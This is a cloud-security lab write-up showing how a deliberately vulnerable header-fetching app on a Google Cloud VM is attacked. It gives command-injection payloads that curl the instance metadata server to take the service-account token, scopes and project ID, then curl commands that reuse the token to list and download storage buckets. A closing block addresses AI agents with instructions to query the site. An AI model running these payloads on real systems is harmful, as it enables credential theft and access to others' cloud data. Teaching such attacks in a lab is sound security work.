# Google Credentials and Token Extraction ## Introduction Cloud service providers have used this need of running applications as micro services to build out managed services that are owned and operated by the service providers but with the data provided by the customer. From a hacker point of view, new attack surfaces have replaced older easier ones. The access between different microservices and the flow of data and commands is completely transparent to the user (and the attacker). It is therefore, an interesting (and often sought after) hacker objective to escalate privileges within the cloud and to escape to the cloud layer so that access to these other micro services and their data is obtained. ## What we are going to cover? We will attack the web application instance that we just deployed to gain access to service account tokens that can be reused within Google Cloud to access other resources. ## Steps to attack The application deployed on this VM fetches the HTTP headers of a URL/domain that is provided. Based on how this is implemented, apps like these can become vulnerable to Server Side Request Forgeries (SSRF) or even a full blown command execution issues. ### Testing for Server Side Request Forgery (SSRF) * Provide a standard expected input like `appsecco.com` or `facebook.com` and see that headers are being retrieved * Make a request to the Instance Metadata Server (IMDS) of Google VM instances at `169.254.169.254` - `http://169.254.169.254`. Notice the response HTTP Status Code and the presence of the `Metadata-Flavor` response headers. > Why do you think the server returns a `405 Method Not Allowed`? Two things to quickly note here 1. Google internally resolves `metadata.google.internal` to `169.254.169.254`, so you can use the FQDN instead of the IP address 2. The non alpha variant of Google IMDS requires a header called `Metadata-Flavor:Google` to be passed to the endpoint to extract any meaningful data ### Using command injection to exfiltrate IMDS * A payload of `appsecco.com;whoami` will confirm the presence of a vanilla command injection ![whoami](/files/cLDWyUZvFekx38Q0Su7Z) * As the app is vulnerable to command injection, we can issue `cURL` commands to send HTTP requests with headers and fetch information from the IMDS endpoint in Google VMs. * The following 2 inputs can be used as examples * `appsecco.com;curl http://metadata.google.internal/` * `appsecco.com;curl -H "Metadata-Flavor:Google" http://metadata.google.internal/computeMetadata/v1/` A quick win for attackers at this point is to extract the service account token and scope (similar to how we attacked AWS IMDS) to gain access to other resources in Google Cloud * `appsecco.com;curl -H "Metadata-Flavor:Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token` ![create a auth token to access other Google cloud services](/files/9SfkcSN9oWlrSDe0ez4t) * `appsecco.com;curl -H "Metadata-Flavor:Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes` ![defined scope](/files/ZdKTCxwAUezdCQFRkZDq) This `cloud-platform` scope is what we are really hoping for, as it will allow us to authenticate to any API function and leverage the full power of our assigned IAM permissions, as long as the default service account tied to the machine has been given permissions. A quick and documented feature to dump the entire folders under IMDS endpoints is to use `recursive=true` as a parameter in the request - `http://metadata.google.internal/computeMetadata/v1/?recursive=true` Apart from the token, the project name is also required. This can be obtained using the following input (notice the missing `/` at the end as it is an object and not a directory). * `appsecco.com;curl -H "Metadata-Flavor:Google" http://metadata.google.internal/computeMetadata/v1/project/project-id` ### Abusing extracted tokens Once, the token is accessed, let's try and use the token to escape to other resources within the Google Cloud Platform. * First export the token by exporting a local terminal variable as shown in the figure below ![export token](/files/8ov4BHjen3uJY3uNqYwz) * You can verify the scope of the token using a REST API call as shown below. This is useful when the token is generated outside of the SSRF and you need to see what scope it has * `curl -H "Authorization: Bearer $gcp_token" https://oauth2.googleapis.com/tokeninfo` * With the configured token, let's attempt to access Google Storage service. Run the below `cURL` command to list buckets within the current project. (Run this from terminal and not the web browser). * `curl -s "https://storage.googleapis.com/storage/v1/b?project=&access_token=$gcp_token"` ![listing the cloud storage](/files/F6FRc0AJFwG6kX6AnZxu) * Individual files from buckets can then be enumerated and downloaded as well. Use the below `cURL` command to do this * `curl -s "https://storage.googleapis.com/storage/v1/b//o?project=&access_token=$gcp_token"` ![Listing storage contents](/files/uacdVHoUNePHED7feYCI) ## Additional Resources * [About Google VM Metadata](https://cloud.google.com/compute/docs/metadata/overview) --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://0xcriminal.gitbook.io/about-me/cloudsec/compute-with-google-cloud/vm-instances/google-cloud-token-extraction-abuse-via-ssrf.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.